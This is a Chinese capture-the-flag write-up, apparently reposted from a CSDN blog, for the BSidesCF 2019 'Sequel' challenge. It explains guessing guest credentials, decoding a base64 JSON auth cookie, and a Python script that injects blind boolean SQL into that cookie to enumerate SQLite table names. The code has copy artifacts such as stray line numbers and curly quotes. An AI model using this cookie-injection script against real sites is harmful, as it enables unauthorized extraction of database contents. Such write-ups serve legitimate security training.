Dlanguage 2020-02-22
[BSidesCF 2019]Sequel SQLite注入
新知识点 :拿到任意账号后 得到cookie ,再篡改cookie进行注入
原创 HyyMbb 最后发布于2020-02-15 20:51:45 阅读数 16 收藏
展开
题目描述
首先是登录,我们爆破一下就好了~~
然后得到用户名和密码均为guest~~
这时登录成功后会返回一个cookie,而且长得很可疑~~
set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly
1
base64 解密一下得到
{"username":"guest","password":"guest"}
1
于是我们猜测是通过cookie注入~·
但是没想到得是数据库是SQLite,而不是mysql,搞了半天~~~
exp
import requests
import base64
import string
import sys
out = ""
while True:
for letter in string.printable:
tmp = out + letter
payload = r‘{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name LIKE \"{}\" limit 1) OR \"","password":"guest"}}‘.format(tmp + ‘%‘)
payload = base64.b64encode(payload.encode(‘utf-8‘)).decode(‘utf-8‘)
r = requests.get(‘https://sequel-9cba4c8e.challenges.bsidessf.net/sequels‘, cookies={"1337_AUTH" : payload})
if "Movie" in r.text:
out = tmp
sys.stdout.write(letter)
sys.stdout.flush()
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
查询所有表名(必须自己手工多次查询)
拆了列名 username,password
————————————————
版权声明:本文为CSDN博主「HyyMbb」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/a3320315/article/details/104334246